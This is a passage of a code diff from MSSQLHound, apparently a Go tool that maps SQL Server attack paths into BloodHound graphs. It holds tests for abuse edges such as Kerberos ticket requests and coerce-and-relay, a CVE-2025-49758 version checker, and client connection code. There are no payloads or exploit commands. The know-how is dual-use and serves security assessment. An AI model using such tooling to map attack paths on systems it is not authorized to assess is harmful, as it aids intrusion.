+ ctx: &bloodhound.EdgeContext{
+ SourceName: "DOMAIN\\sqlservice",
+ SourceType: "Base",
+ TargetName: "testserver:1433",
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "HasMappedCred edge",
+ edgeKind: bloodhound.EdgeKinds.HasMappedCred,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "testlogin",
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: "DOMAIN\\creduser",
+ TargetType: "Base",
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "HasProxyCred edge",
+ edgeKind: bloodhound.EdgeKinds.HasProxyCred,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "testlogin",
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: "DOMAIN\\proxyuser",
+ TargetType: "Base",
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "HasDBScopedCred edge",
+ edgeKind: bloodhound.EdgeKinds.HasDBScopedCred,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "TestDB",
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: "DOMAIN\\dbcreduser",
+ TargetType: "Base",
+ SQLServerName: "testserver:1433",
+ DatabaseName: "TestDB",
+ },
+ },
+ {
+ name: "GetTGS edge",
+ edgeKind: bloodhound.EdgeKinds.GetTGS,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "DOMAIN\\sqlservice",
+ SourceType: "Base",
+ TargetName: "testlogin",
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "GetAdminTGS edge",
+ edgeKind: bloodhound.EdgeKinds.GetAdminTGS,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "DOMAIN\\sqlservice",
+ SourceType: "Base",
+ TargetName: "testserver:1433",
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: "testserver:1433",
+ },
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ props := bloodhound.GetEdgeProperties(tt.edgeKind, tt.ctx)
+
+ // Check that properties are set
+ if props["general"] == nil || props["general"] == "" {
+ t.Error("Expected 'general' property to be set")
+ }
+ if props["windowsAbuse"] == nil {
+ t.Error("Expected 'windowsAbuse' property to be set")
+ }
+ if props["linuxAbuse"] == nil {
+ t.Error("Expected 'linuxAbuse' property to be set")
+ }
+ if props["traversable"] == nil {
+ t.Error("Expected 'traversable' property to be set")
+ }
+ })
+ }
+}
+
+// TestNodeKinds tests that node kinds are correctly assigned
+func TestNodeKinds(t *testing.T) {
+ tests := []struct {
+ typeDesc string
+ expectedKind string
+ isServerType bool
+ }{
+ {"SERVER_ROLE", bloodhound.NodeKinds.ServerRole, true},
+ {"SQL_LOGIN", bloodhound.NodeKinds.Login, true},
+ {"WINDOWS_LOGIN", bloodhound.NodeKinds.Login, true},
+ {"WINDOWS_GROUP", bloodhound.NodeKinds.Login, true},
+ {"DATABASE_ROLE", bloodhound.NodeKinds.DatabaseRole, false},
+ {"SQL_USER", bloodhound.NodeKinds.DatabaseUser, false},
+ {"WINDOWS_USER", bloodhound.NodeKinds.DatabaseUser, false},
+ {"APPLICATION_ROLE", bloodhound.NodeKinds.ApplicationRole, false},
+ }
+
+ c := New(&Config{})
+
+ for _, tt := range tests {
+ t.Run(tt.typeDesc, func(t *testing.T) {
+ var kind string
+ if tt.isServerType {
+ kind = c.getServerPrincipalType(tt.typeDesc)
+ } else {
+ kind = c.getDatabasePrincipalType(tt.typeDesc)
+ }
+ if kind != tt.expectedKind {
+ t.Errorf("Expected %s, got %s for type %s", tt.expectedKind, kind, tt.typeDesc)
+ }
+ })
+ }
+}
+
+// TestOutputFormat tests that the output JSON is valid BloodHound format
+func TestOutputFormat(t *testing.T) {
+ // Create a temporary directory for output
+ tmpDir, err := os.MkdirTemp("", "mssqlhound-test")
+ if err != nil {
+ t.Fatalf("Failed to create temp dir: %v", err)
+ }
+ defer os.RemoveAll(tmpDir)
+
+ outputPath := filepath.Join(tmpDir, "test-output.json")
+ writer, err := bloodhound.NewStreamingWriter(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to create writer: %v", err)
+ }
+
+ // Write a test node
+ node := &bloodhound.Node{
+ ID: "test-node-1",
+ Kinds: []string{"MSSQL_Server", "Base"},
+ Properties: map[string]interface{}{
+ "name": "TestServer",
+ "enabled": true,
+ },
+ }
+ if err := writer.WriteNode(node); err != nil {
+ t.Fatalf("Failed to write node: %v", err)
+ }
+
+ // Write a test edge
+ edge := &bloodhound.Edge{
+ Start: bloodhound.EdgeEndpoint{Value: "source-1"},
+ End: bloodhound.EdgeEndpoint{Value: "target-1"},
+ Kind: "MSSQL_Contains",
+ Properties: map[string]interface{}{
+ "traversable": true,
+ },
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ t.Fatalf("Failed to write edge: %v", err)
+ }
+
+ if err := writer.Close(); err != nil {
+ t.Fatalf("Failed to close writer: %v", err)
+ }
+
+ // Read and validate the output
+ data, err := os.ReadFile(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to read output: %v", err)
+ }
+
+ var output struct {
+ Schema string `json:"$schema"`
+ Metadata struct {
+ SourceKind string `json:"source_kind"`
+ } `json:"metadata"`
+ Graph struct {
+ Nodes []json.RawMessage `json:"nodes"`
+ Edges []json.RawMessage `json:"edges"`
+ } `json:"graph"`
+ }
+
+ if err := json.Unmarshal(data, &output); err != nil {
+ t.Fatalf("Output is not valid JSON: %v", err)
+ }
+
+ // Verify structure
+ if output.Schema == "" {
+ t.Error("Expected $schema to be set")
+ }
+ if output.Metadata.SourceKind != "MSSQL_Base" {
+ t.Errorf("Expected source_kind to be MSSQL_Base, got %s", output.Metadata.SourceKind)
+ }
+ if len(output.Graph.Nodes) != 1 {
+ t.Errorf("Expected 1 node, got %d", len(output.Graph.Nodes))
+ }
+ if len(output.Graph.Edges) != 1 {
+ t.Errorf("Expected 1 edge, got %d", len(output.Graph.Edges))
+ }
+}
+
+// TestCoerceAndRelayEdge tests that CoerceAndRelayToMSSQL edges are created
+// when Extended Protection is Off and a computer account has a login
+func TestCoerceAndRelayEdge(t *testing.T) {
+ // Create a temporary directory for output
+ tmpDir, err := os.MkdirTemp("", "mssqlhound-test")
+ if err != nil {
+ t.Fatalf("Failed to create temp dir: %v", err)
+ }
+ defer os.RemoveAll(tmpDir)
+
+ // Create a mock server info with a computer account login
+ serverInfo := createMockServerInfoWithComputerLogin()
+
+ // Create collector with a domain specified (needed for CoerceAndRelay)
+ config := &Config{
+ TempDir: tmpDir,
+ Domain: "domain.com",
+ IncludeNontraversableEdges: true,
+ }
+ c := New(config)
+
+ // Create output file
+ outputPath := filepath.Join(tmpDir, "test-output.json")
+ writer, err := bloodhound.NewStreamingWriter(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to create writer: %v", err)
+ }
+
+ // Write nodes
+ serverNode := c.createServerNode(serverInfo)
+ if err := writer.WriteNode(serverNode); err != nil {
+ t.Fatalf("Failed to write server node: %v", err)
+ }
+
+ for _, principal := range serverInfo.ServerPrincipals {
+ principalNode := c.createServerPrincipalNode(&principal, serverInfo)
+ if err := writer.WriteNode(principalNode); err != nil {
+ t.Fatalf("Failed to write server principal node: %v", err)
+ }
+ }
+
+ // Create edges
+ if err := c.createEdges(writer, serverInfo); err != nil {
+ t.Fatalf("Failed to create edges: %v", err)
+ }
+
+ // Close writer
+ if err := writer.Close(); err != nil {
+ t.Fatalf("Failed to close writer: %v", err)
+ }
+
+ // Read and verify output
+ _, edges, err := bloodhound.ReadFromFile(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to read output: %v", err)
+ }
+
+ // Check for CoerceAndRelayToMSSQL edge
+ found := false
+ for _, edge := range edges {
+ if edge.Kind == bloodhound.EdgeKinds.CoerceAndRelayTo {
+ found = true
+ // Verify it's from Authenticated Users to the computer login
+ if !strings.Contains(edge.Start.Value, "S-1-5-11") {
+ t.Errorf("Expected CoerceAndRelayToMSSQL source to be Authenticated Users SID, got %s", edge.Start.Value)
+ }
+ if !strings.Contains(edge.End.Value, "WORKSTATION1$") {
+ t.Errorf("Expected CoerceAndRelayToMSSQL target to be computer login, got %s", edge.End.Value)
+ }
+ break
+ }
+ }
+
+ if !found {
+ t.Error("Expected CoerceAndRelayToMSSQL edge for computer login with EPA Off, got none")
+ t.Logf("Edges found: %d", len(edges))
+ for _, edge := range edges {
+ t.Logf(" %s: %s -> %s", edge.Kind, edge.Start.Value, edge.End.Value)
+ }
+ }
+}
+
+// TestLinkedAsAdminEdgeProperties tests that LinkedAsAdmin edge properties are correctly set
+func TestLinkedAsAdminEdgeProperties(t *testing.T) {
+ ctx := &bloodhound.EdgeContext{
+ SourceName: "SourceServer",
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: "TargetServer",
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: "sourceserver.domain.com:1433",
+ }
+
+ props := bloodhound.GetEdgeProperties(bloodhound.EdgeKinds.LinkedAsAdmin, ctx)
+
+ if props["traversable"] != true {
+ t.Error("Expected LinkedAsAdmin to be traversable")
+ }
+ if props["general"] == nil || props["general"] == "" {
+ t.Error("Expected 'general' property to be set")
+ }
+ if props["windowsAbuse"] == nil {
+ t.Error("Expected 'windowsAbuse' property to be set")
+ }
+}
+
+// TestCoerceAndRelayEdgeProperties tests that CoerceAndRelayToMSSQL edge properties are correctly set
+func TestCoerceAndRelayEdgeProperties(t *testing.T) {
+ ctx := &bloodhound.EdgeContext{
+ SourceName: "AUTHENTICATED USERS",
+ SourceType: "Group",
+ TargetName: "DOMAIN\\COMPUTER$",
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: "sqlserver.domain.com:1433",
+ }
+
+ props := bloodhound.GetEdgeProperties(bloodhound.EdgeKinds.CoerceAndRelayTo, ctx)
+
+ if props["traversable"] != true {
+ t.Error("Expected CoerceAndRelayToMSSQL to be traversable")
+ }
+ if props["general"] == nil || props["general"] == "" {
+ t.Error("Expected 'general' property to be set")
+ }
+ if props["windowsAbuse"] == nil {
+ t.Error("Expected 'windowsAbuse' property to be set")
+ }
+}
diff --git a/internal/collector/cve.go b/internal/collector/cve.go
new file mode 100644
index 0000000..b3de393
--- /dev/null
+++ b/internal/collector/cve.go
@@ -0,0 +1,299 @@
+// Package collector provides CVE vulnerability checking for SQL Server.
+package collector
+
+import (
+ "fmt"
+ "regexp"
+ "strconv"
+ "strings"
+)
+
+// SQLVersion represents a parsed SQL Server version
+type SQLVersion struct {
+ Major int
+ Minor int
+ Build int
+ Revision int
+}
+
+// Compare compares two SQLVersions. Returns -1 if v < other, 0 if equal, 1 if v > other
+func (v SQLVersion) Compare(other SQLVersion) int {
+ if v.Major != other.Major {
+ if v.Major < other.Major {
+ return -1
+ }
+ return 1
+ }
+ if v.Minor != other.Minor {
+ if v.Minor < other.Minor {
+ return -1
+ }
+ return 1
+ }
+ if v.Build != other.Build {
+ if v.Build < other.Build {
+ return -1
+ }
+ return 1
+ }
+ if v.Revision != other.Revision {
+ if v.Revision < other.Revision {
+ return -1
+ }
+ return 1
+ }
+ return 0
+}
+
+func (v SQLVersion) String() string {
+ return fmt.Sprintf("%d.%d.%d.%d", v.Major, v.Minor, v.Build, v.Revision)
+}
+
+// LessThan returns true if v < other
+func (v SQLVersion) LessThan(other SQLVersion) bool {
+ return v.Compare(other) < 0
+}
+
+// LessThanOrEqual returns true if v <= other
+func (v SQLVersion) LessThanOrEqual(other SQLVersion) bool {
+ return v.Compare(other) <= 0
+}
+
+// GreaterThanOrEqual returns true if v >= other
+func (v SQLVersion) GreaterThanOrEqual(other SQLVersion) bool {
+ return v.Compare(other) >= 0
+}
+
+// SecurityUpdate represents a SQL Server security update for CVE-2025-49758
+type SecurityUpdate struct {
+ Name string
+ KB string
+ MinAffected SQLVersion
+ MaxAffected SQLVersion
+ PatchedAt SQLVersion
+}
+
+// CVE202549758Updates contains the security updates that fix CVE-2025-49758
+var CVE202549758Updates = []SecurityUpdate{
+ // SQL Server 2022
+ {
+ Name: "SQL 2022 CU20+GDR",
+ KB: "5063814",
+ MinAffected: SQLVersion{16, 0, 4003, 1},
+ MaxAffected: SQLVersion{16, 0, 4205, 1},
+ PatchedAt: SQLVersion{16, 0, 4210, 1},
+ },
+ {
+ Name: "SQL 2022 RTM+GDR",
+ KB: "5063756",
+ MinAffected: SQLVersion{16, 0, 1000, 6},
+ MaxAffected: SQLVersion{16, 0, 1140, 6},
+ PatchedAt: SQLVersion{16, 0, 1145, 1},
+ },
+
+ // SQL Server 2019
+ {
+ Name: "SQL 2019 CU32+GDR",
+ KB: "5063757",
+ MinAffected: SQLVersion{15, 0, 4003, 23},
+ MaxAffected: SQLVersion{15, 0, 4435, 7},
+ PatchedAt: SQLVersion{15, 0, 4440, 1},
+ },
+ {
+ Name: "SQL 2019 RTM+GDR",
+ KB: "5063758",
+ MinAffected: SQLVersion{15, 0, 2000, 5},
+ MaxAffected: SQLVersion{15, 0, 2135, 5},
+ PatchedAt: SQLVersion{15, 0, 2140, 1},
+ },
+
+ // SQL Server 2017
+ {
+ Name: "SQL 2017 CU31+GDR",
+ KB: "5063759",
+ MinAffected: SQLVersion{14, 0, 3006, 16},
+ MaxAffected: SQLVersion{14, 0, 3495, 9},
+ PatchedAt: SQLVersion{14, 0, 3500, 1},
+ },
+ {
+ Name: "SQL 2017 RTM+GDR",
+ KB: "5063760",
+ MinAffected: SQLVersion{14, 0, 1000, 169},
+ MaxAffected: SQLVersion{14, 0, 2075, 8},
+ PatchedAt: SQLVersion{14, 0, 2080, 1},
+ },
+
+ // SQL Server 2016
+ {
+ Name: "SQL 2016 Azure Connect Feature Pack",
+ KB: "5063761",
+ MinAffected: SQLVersion{13, 0, 7000, 253},
+ MaxAffected: SQLVersion{13, 0, 7055, 9},
+ PatchedAt: SQLVersion{13, 0, 7060, 1},
+ },
+ {
+ Name: "SQL 2016 SP3 RTM+GDR",
+ KB: "5063762",
+ MinAffected: SQLVersion{13, 0, 6300, 2},
+ MaxAffected: SQLVersion{13, 0, 6460, 7},
+ PatchedAt: SQLVersion{13, 0, 6465, 1},
+ },
+}
+
+// CVECheckResult holds the result of a CVE vulnerability check
+type CVECheckResult struct {
+ VersionDetected string
+ IsVulnerable bool
+ IsPatched bool
+ UpdateName string
+ KB string
+ RequiredVersion string
+}
+
+// ParseSQLVersion parses a SQL Server version string (e.g., "15.0.2000.5") into SQLVersion
+func ParseSQLVersion(versionStr string) (*SQLVersion, error) {
+ // Clean up the version string
+ versionStr = strings.TrimSpace(versionStr)
+ if versionStr == "" {
+ return nil, fmt.Errorf("empty version string")
+ }
+
+ // Split by dots
+ parts := strings.Split(versionStr, ".")
+ if len(parts) < 2 {
+ return nil, fmt.Errorf("invalid version format: %s", versionStr)
+ }
+
+ v := &SQLVersion{}
+ var err error
+
+ // Parse major version
+ v.Major, err = strconv.Atoi(parts[0])
+ if err != nil {
+ return nil, fmt.Errorf("invalid major version: %s", parts[0])
+ }
+
+ // Parse minor version
+ v.Minor, err = strconv.Atoi(parts[1])
+ if err != nil {
+ return nil, fmt.Errorf("invalid minor version: %s", parts[1])
+ }
+
+ // Parse build number (optional)
+ if len(parts) >= 3 {
+ v.Build, err = strconv.Atoi(parts[2])
+ if err != nil {
+ return nil, fmt.Errorf("invalid build version: %s", parts[2])
+ }
+ }
+
+ // Parse revision (optional)
+ if len(parts) >= 4 {
+ v.Revision, err = strconv.Atoi(parts[3])
+ if err != nil {
+ return nil, fmt.Errorf("invalid revision: %s", parts[3])
+ }
+ }
+
+ return v, nil
+}
+
+// ExtractVersionFromFullVersion extracts numeric version from @@VERSION output
+// e.g., "Microsoft SQL Server 2019 (RTM-CU32) ... - 15.0.4435.7 ..." -> "15.0.4435.7"
+func ExtractVersionFromFullVersion(fullVersion string) string {
+ // Try to find version pattern like "15.0.4435.7"
+ re := regexp.MustCompile(`(\d+\.\d+\.\d+\.\d+)`)
+ matches := re.FindStringSubmatch(fullVersion)
+ if len(matches) >= 2 {
+ return matches[1]
+ }
+
+ // Try simpler pattern like "15.0.4435"
+ re = regexp.MustCompile(`(\d+\.\d+\.\d+)`)
+ matches = re.FindStringSubmatch(fullVersion)
+ if len(matches) >= 2 {
+ return matches[1]
+ }
+
+ return ""
+}
+
+// CheckCVE202549758 checks if a SQL Server version is vulnerable to CVE-2025-49758
+// Reference: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49758
+func CheckCVE202549758(versionNumber string, fullVersion string) *CVECheckResult {
+ // Try to get version from versionNumber first, then fullVersion
+ versionStr := versionNumber
+ if versionStr == "" && fullVersion != "" {
+ versionStr = ExtractVersionFromFullVersion(fullVersion)
+ }
+
+ if versionStr == "" {
+ return nil
+ }
+
+ sqlVersion, err := ParseSQLVersion(versionStr)
+ if err != nil {
+ return nil
+ }
+
+ result := &CVECheckResult{
+ VersionDetected: sqlVersion.String(),
+ IsVulnerable: false,
+ IsPatched: false,
+ }
+
+ // Check if version is lower than SQL 2016 (version 13.x)
+ // These versions are out of support and vulnerable
+ sql2016Min := SQLVersion{13, 0, 0, 0}
+ if sqlVersion.LessThan(sql2016Min) {
+ result.IsVulnerable = true
+ result.UpdateName = "SQL Server < 2016"
+ result.KB = "N/A"
+ result.RequiredVersion = "13.0.6300.2 (SQL 2016 SP3)"
+ return result
+ }
+
+ // Check against each security update
+ for _, update := range CVE202549758Updates {
+ // Check if version is in the affected range
+ if sqlVersion.GreaterThanOrEqual(update.MinAffected) && sqlVersion.LessThanOrEqual(update.MaxAffected) {
+ // Version is in affected range - check if patched
+ if sqlVersion.GreaterThanOrEqual(update.PatchedAt) {
+ result.IsPatched = true
+ result.UpdateName = update.Name
+ result.KB = update.KB
+ result.RequiredVersion = update.PatchedAt.String()
+ } else {
+ result.IsVulnerable = true
+ result.UpdateName = update.Name
+ result.KB = update.KB
+ result.RequiredVersion = update.PatchedAt.String()
+ }
+ return result
+ }
+ }
+
+ // Version not in any known affected range - assume patched (newer version)
+ result.IsPatched = true
+ return result
+}
+
+// IsVulnerableToCVE202549758 is a convenience function that returns true if the server is vulnerable
+func IsVulnerableToCVE202549758(versionNumber string, fullVersion string) bool {
+ result := CheckCVE202549758(versionNumber, fullVersion)
+ if result == nil {
+ // Unable to determine - assume not vulnerable to reduce false positives
+ return false
+ }
+ return result.IsVulnerable
+}
+
+// IsPatchedForCVE202549758 is a convenience function that returns true if the server is patched
+func IsPatchedForCVE202549758(versionNumber string, fullVersion string) bool {
+ result := CheckCVE202549758(versionNumber, fullVersion)
+ if result == nil {
+ // Unable to determine - assume patched to reduce false positives
+ return true
+ }
+ return result.IsPatched
+}
diff --git a/internal/collector/cve_test.go b/internal/collector/cve_test.go
new file mode 100644
index 0000000..8624a4f
--- /dev/null
+++ b/internal/collector/cve_test.go
@@ -0,0 +1,267 @@
+package collector
+
+import (
+ "testing"
+)
+
+func TestParseSQLVersion(t *testing.T) {
+ tests := []struct {
+ name string
+ input string
+ expected *SQLVersion
+ wantError bool
+ }{
+ {
+ name: "SQL Server 2019 full version",
+ input: "15.0.4435.7",
+ expected: &SQLVersion{15, 0, 4435, 7},
+ },
+ {
+ name: "SQL Server 2022 version",
+ input: "16.0.4210.1",
+ expected: &SQLVersion{16, 0, 4210, 1},
+ },
+ {
+ name: "Short version",
+ input: "15.0.4435",
+ expected: &SQLVersion{15, 0, 4435, 0},
+ },
+ {
+ name: "Two part version",
+ input: "15.0",
+ expected: &SQLVersion{15, 0, 0, 0},
+ },
+ {
+ name: "Empty string",
+ input: "",
+ wantError: true,
+ },
+ {
+ name: "Invalid version",
+ input: "invalid",
+ wantError: true,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ result, err := ParseSQLVersion(tt.input)
+ if tt.wantError {
+ if err == nil {
+ t.Errorf("Expected error but got none")
+ }
+ return
+ }
+ if err != nil {
+ t.Errorf("Unexpected error: %v", err)
+ return
+ }
+ if result.Major != tt.expected.Major || result.Minor != tt.expected.Minor ||
+ result.Build != tt.expected.Build || result.Revision != tt.expected.Revision {
+ t.Errorf("Expected %v but got %v", tt.expected, result)
+ }
+ })
+ }
+}
+
+func TestSQLVersionCompare(t *testing.T) {
+ tests := []struct {
+ name string
+ v1 SQLVersion
+ v2 SQLVersion
+ expected int
+ }{
+ {
+ name: "Equal versions",
+ v1: SQLVersion{15, 0, 4435, 7},
+ v2: SQLVersion{15, 0, 4435, 7},
+ expected: 0,
+ },
+ {
+ name: "v1 less than v2 (major)",
+ v1: SQLVersion{14, 0, 0, 0},
+ v2: SQLVersion{15, 0, 0, 0},
+ expected: -1,
+ },
+ {
+ name: "v1 greater than v2 (minor)",
+ v1: SQLVersion{15, 1, 0, 0},
+ v2: SQLVersion{15, 0, 0, 0},
+ expected: 1,
+ },
+ {
+ name: "v1 less than v2 (build)",
+ v1: SQLVersion{15, 0, 4435, 0},
+ v2: SQLVersion{15, 0, 4440, 0},
+ expected: -1,
+ },
+ {
+ name: "v1 greater than v2 (revision)",
+ v1: SQLVersion{15, 0, 4435, 8},
+ v2: SQLVersion{15, 0, 4435, 7},
+ expected: 1,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ result := tt.v1.Compare(tt.v2)
+ if result != tt.expected {
+ t.Errorf("Expected %d but got %d", tt.expected, result)
+ }
+ })
+ }
+}
+
+func TestCheckCVE202549758(t *testing.T) {
+ tests := []struct {
+ name string
+ versionNumber string
+ fullVersion string
+ isVulnerable bool
+ isPatched bool
+ }{
+ {
+ name: "SQL 2019 vulnerable version",
+ versionNumber: "15.0.4435.7",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "SQL 2019 patched version",
+ versionNumber: "15.0.4440.1",
+ isVulnerable: false,
+ isPatched: true,
+ },
+ {
+ name: "SQL 2022 vulnerable version",
+ versionNumber: "16.0.4205.1",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "SQL 2022 patched version",
+ versionNumber: "16.0.4210.1",
+ isVulnerable: false,
+ isPatched: true,
+ },
+ {
+ name: "SQL 2017 vulnerable version",
+ versionNumber: "14.0.3495.9",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "SQL 2016 vulnerable version",
+ versionNumber: "13.0.6460.7",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "SQL 2014 (pre-2016) - vulnerable",
+ versionNumber: "12.0.5000.0",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "Full @@VERSION string",
+ fullVersion: "Microsoft SQL Server 2019 (RTM-CU32) (KB5029378) - 15.0.4435.7 (X64)",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "Newer version not in affected ranges (assume patched)",
+ versionNumber: "16.0.5000.0",
+ isVulnerable: false,
+ isPatched: true,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ result := CheckCVE202549758(tt.versionNumber, tt.fullVersion)
+ if result == nil {
+ t.Error("Expected result but got nil")
+ return
+ }
+ if result.IsVulnerable != tt.isVulnerable {
+ t.Errorf("IsVulnerable: expected %v but got %v", tt.isVulnerable, result.IsVulnerable)
+ }
+ if result.IsPatched != tt.isPatched {
+ t.Errorf("IsPatched: expected %v but got %v", tt.isPatched, result.IsPatched)
+ }
+ })
+ }
+}
+
+func TestIsVulnerableToCVE202549758(t *testing.T) {
+ // Vulnerable version
+ if !IsVulnerableToCVE202549758("15.0.4435.7", "") {
+ t.Error("Expected 15.0.4435.7 to be vulnerable")
+ }
+
+ // Patched version
+ if IsVulnerableToCVE202549758("15.0.4440.1", "") {
+ t.Error("Expected 15.0.4440.1 to not be vulnerable")
+ }
+
+ // Empty version - should return false (assume not vulnerable)
+ if IsVulnerableToCVE202549758("", "") {
+ t.Error("Expected empty version to return false (not vulnerable)")
+ }
+}
+
+func TestIsPatchedForCVE202549758(t *testing.T) {
+ // Patched version
+ if !IsPatchedForCVE202549758("15.0.4440.1", "") {
+ t.Error("Expected 15.0.4440.1 to be patched")
+ }
+
+ // Vulnerable version
+ if IsPatchedForCVE202549758("15.0.4435.7", "") {
+ t.Error("Expected 15.0.4435.7 to not be patched")
+ }
+
+ // Empty version - should return true (assume patched to reduce false positives)
+ if !IsPatchedForCVE202549758("", "") {
+ t.Error("Expected empty version to return true (assume patched)")
+ }
+}
+
+func TestExtractVersionFromFullVersion(t *testing.T) {
+ tests := []struct {
+ name string
+ input string
+ expected string
+ }{
+ {
+ name: "Standard @@VERSION output",
+ input: "Microsoft SQL Server 2019 (RTM-CU32) (KB5029378) - 15.0.4435.7 (X64)",
+ expected: "15.0.4435.7",
+ },
+ {
+ name: "SQL 2022 @@VERSION",
+ input: "Microsoft SQL Server 2022 (RTM-CU20-GDR) - 16.0.4210.1 (X64)",
+ expected: "16.0.4210.1",
+ },
+ {
+ name: "Three part version",
+ input: "Microsoft SQL Server 2019 - 15.0.4435",
+ expected: "15.0.4435",
+ },
+ {
+ name: "No version found",
+ input: "Invalid string",
+ expected: "",
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ result := ExtractVersionFromFullVersion(tt.input)
+ if result != tt.expected {
+ t.Errorf("Expected %q but got %q", tt.expected, result)
+ }
+ })
+ }
+}
diff --git a/internal/mssql/client.go b/internal/mssql/client.go
new file mode 100644
index 0000000..65923d4
--- /dev/null
+++ b/internal/mssql/client.go
@@ -0,0 +1,2767 @@
+// Package mssql provides SQL Server connection and data collection functionality.
+package mssql
+
+import (
+ "context"
+ "database/sql"
+ "encoding/binary"
+ "encoding/hex"
+ "fmt"
+ "net"
+ "sort"
+ "strconv"
+ "strings"
+ "time"
+
+ "github.com/SpecterOps/MSSQLHound/internal/types"
+ mssqldb "github.com/microsoft/go-mssqldb"
+ "github.com/microsoft/go-mssqldb/msdsn"
+)
+
+// convertHexSIDToString converts a hex SID (like "0x0105000000...") to standard SID format (like "S-1-5-21-...")
+// This matches the PowerShell ConvertTo-SecurityIdentifier function behavior
+func convertHexSIDToString(hexSID string) string {
+ if hexSID == "" || hexSID == "0x" || hexSID == "0x01" {
+ return ""
+ }
+
+ // Remove "0x" prefix if present
+ if strings.HasPrefix(strings.ToLower(hexSID), "0x") {
+ hexSID = hexSID[2:]
+ }
+
+ // Decode hex string to bytes
+ bytes, err := hex.DecodeString(hexSID)
+ if err != nil || len(bytes) < 8 {
+ return ""
+ }
+
+ // Validate SID structure (first byte must be 1 for revision)
+ if bytes[0] != 1 {
+ return ""
+ }
+
+ // Parse SID structure:
+ // bytes[0] = revision (always 1)
+ // bytes[1] = number of sub-authorities
+ // bytes[2:8] = identifier authority (6 bytes, big-endian)
+ // bytes[8:] = sub-authorities (4 bytes each, little-endian)
+
+ revision := bytes[0]
+ subAuthCount := int(bytes[1])
+
+ // Validate length
+ expectedLen := 8 + (subAuthCount * 4)
+ if len(bytes) < expectedLen {
+ return ""
+ }
+
+ // Get identifier authority (6 bytes, big-endian)
+ // Usually 5 for NT Authority (S-1-5-...)
+ var authority uint64
+ for i := 0; i < 6; i++ {
+ authority = (authority << 8) | uint64(bytes[2+i])
+ }
+
+ // Build SID string
+ var sb strings.Builder
+ sb.WriteString(fmt.Sprintf("S-%d-%d", revision, authority))
+
+ // Parse sub-authorities (4 bytes each, little-endian)
+ for i := 0; i < subAuthCount; i++ {
+ offset := 8 + (i * 4)
+ subAuth := binary.LittleEndian.Uint32(bytes[offset : offset+4])
+ sb.WriteString(fmt.Sprintf("-%d", subAuth))
+ }
+
+ return sb.String()
+}
+
+// Client handles SQL Server connections and data collection
+type Client struct {
+ db *sql.DB
+ serverInstance string
+ hostname string
+ port int
+ instanceName string
+ userID string
+ password string
+ domain string // Domain for NTLM authentication (needed for EPA testing)
+ ldapUser string // LDAP user (DOMAIN\user or user@domain) for EPA testing
+ ldapPassword string // LDAP password for EPA testing
+ useWindowsAuth bool
+ verbose bool
+ encrypt bool // Whether to use encryption
+ usePowerShell bool // Whether using PowerShell fallback
+ psClient *PowerShellClient // PowerShell client for fallback
+ collectFromLinkedServers bool // Whether to collect from linked servers
+}
+
+// NewClient creates a new SQL Server client
+func NewClient(serverInstance, userID, password string) *Client {
+ hostname, port, instanceName := parseServerInstance(serverInstance)
+
+ return &Client{
+ serverInstance: serverInstance,
+ hostname: hostname,
+ port: port,
+ instanceName: instanceName,
+ userID: userID,
+ password: password,
+ useWindowsAuth: userID == "" && password == "",
+ }
+}
+
+// parseServerInstance parses server instance formats:
+// - hostname
+// - hostname:port
+// - hostname\instance
+// - hostname\instance:port
+func parseServerInstance(instance string) (hostname string, port int, instanceName string) {
+ port = 1433 // default
+
+ // Remove any SPN prefix (MSSQLSvc/)
+ if strings.HasPrefix(strings.ToUpper(instance), "MSSQLSVC/") {
+ instance = instance[9:]
+ }
+
+ // Check for instance name (backslash)
+ if idx := strings.Index(instance, "\\"); idx != -1 {
+ hostname = instance[:idx]
+ rest := instance[idx+1:]
+
+ // Check if instance name has port
+ if colonIdx := strings.Index(rest, ":"); colonIdx != -1 {
+ instanceName = rest[:colonIdx]
+ if p, err := strconv.Atoi(rest[colonIdx+1:]); err == nil {
+ port = p
+ }
+ } else {
+ instanceName = rest
+ port = 0 // Will use SQL Browser
+ }
+ } else if idx := strings.Index(instance, ":"); idx != -1 {
+ // hostname:port format
+ hostname = instance[:idx]
+ if p, err := strconv.Atoi(instance[idx+1:]); err == nil {
+ port = p
+ }
+ } else {
+ hostname = instance
+ }
+
+ return
+}
+
+// Connect establishes a connection to the SQL Server
+// It tries multiple connection strategies to maximize compatibility.
